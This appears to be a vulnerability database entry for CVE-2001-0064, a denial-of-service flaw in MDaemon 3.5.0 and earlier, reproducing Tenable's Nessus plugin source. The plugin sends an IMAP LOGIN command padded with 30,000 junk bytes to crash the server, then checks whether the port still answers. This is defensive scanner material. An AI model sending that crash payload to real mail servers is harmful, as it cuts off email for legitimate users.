Vulnerabilities > CVE-2001-0064 - Denial of Service vulnerability in Alt-N Mdaemon 3.5.0

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
alt-n
nessus

Summary

Webconfig, IMAP, and other services in MDaemon 3.5.0 and earlier allows remote attackers to cause a denial of service via a long URL terminated by a "\r\n" string.

Vulnerable Configurations

Part Description Count
Application
Alt-N
1

Nessus

NASL familyWindows
NASL idMDAEMON_IMAP_SERVER_DOS.NASL
descriptionThe remote host is running the MDaemon IMAP server. It is possible to crash the remote version of this software sending a long argument to the
last seen2020-06-01
modified2020-06-02
plugin id14826
published2004-09-27
reporterThis script is Copyright (C) 2004-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/14826
titleMDaemon Webconfig IMAP Malformed URL DoS
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(14826);
 script_version("1.21");
 script_cvs_date("Date: 2018/11/15 20:50:27");

 script_cve_id("CVE-2001-0064");
 script_bugtraq_id(2134);

 script_name(english:"MDaemon Webconfig IMAP Malformed URL DoS");
 script_summary(english:"Crashes the remote imap server");

 script_set_attribute(attribute:"synopsis", value:
"The remote mail server is affected by a denial of service
vulnerability.");
 script_set_attribute(attribute:"description", value:
"The remote host is running the MDaemon IMAP server.

It is possible to crash the remote version of this software sending a
long argument to the 'LOGIN' command.

This problem allows an attacker to make the remote service crash, thus
preventing legitimate users from receiving emails.");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Dec/352");
 script_set_attribute(attribute:"solution", value:"There is no known solution at this time.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"2000/12/19");
 script_set_attribute(attribute:"plugin_publication_date", value:"2004/09/27");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DENIAL);
 script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
 script_family(english:"Windows");

 script_dependencie("find_service1.nasl", "sendmail_expn.nasl");
 script_require_keys("Settings/ParanoidReport");
 script_require_ports("Services/imap", 143);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_kb_item("Services/imap");
if(!port)port = 143;

acct = get_kb_item("imap/login");
pass = get_kb_item("imap/password");

if((acct == "")||(pass == ""))exit(0);

if(get_port_state(port))
{
 soc = open_sock_tcp(port);
 if(soc)
 {
    banner = recv_line(socket:soc, length:4096);
    if ("MDaemon" >!< banner ) exit(0);
    s = string("? LOGIN ", acct, " ", pass, " ", crap(30000), "\r\n");
    send(socket:soc, data:s);
    d = recv_line(socket:soc, length:4096);
    close(soc);

    soc2 = open_sock_tcp(port);
    if(!soc2)security_warning(port);
    else close(soc2);
 }
}